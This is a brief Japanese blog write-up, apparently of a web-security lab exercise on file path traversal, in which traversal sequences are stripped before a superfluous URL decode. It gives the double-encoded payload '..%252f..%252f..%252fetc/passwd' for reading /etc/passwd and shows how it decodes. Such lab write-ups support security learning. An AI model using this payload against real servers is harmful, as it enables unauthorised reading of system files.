Shikata Ga Nai

Private? There is no such things.

File path traversal, traversal sequences stripped with superfluous URL-decodeをやってみた

Hello there, ('ω')ノ

 

不要なURLデコードで削除されたトラバーサルシーケンスを。

詳細を選択して。

 

f:id:ThisIsOne:20210227164641p:plain

 

下記のペイロードを入力すると。

 ..%252f..%252f..%252fetc/passwd

 

f:id:ThisIsOne:20210227164751p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210227165120p:plain

 

今回のペイロードをダブルURLデコードしてみると。

 ..%252f..%252f..%252fetc/passwd

 

下記のようになって。

 ../../../etc/passwd

 

f:id:ThisIsOne:20210227164914p:plain

 

Best regards, (^^ゞ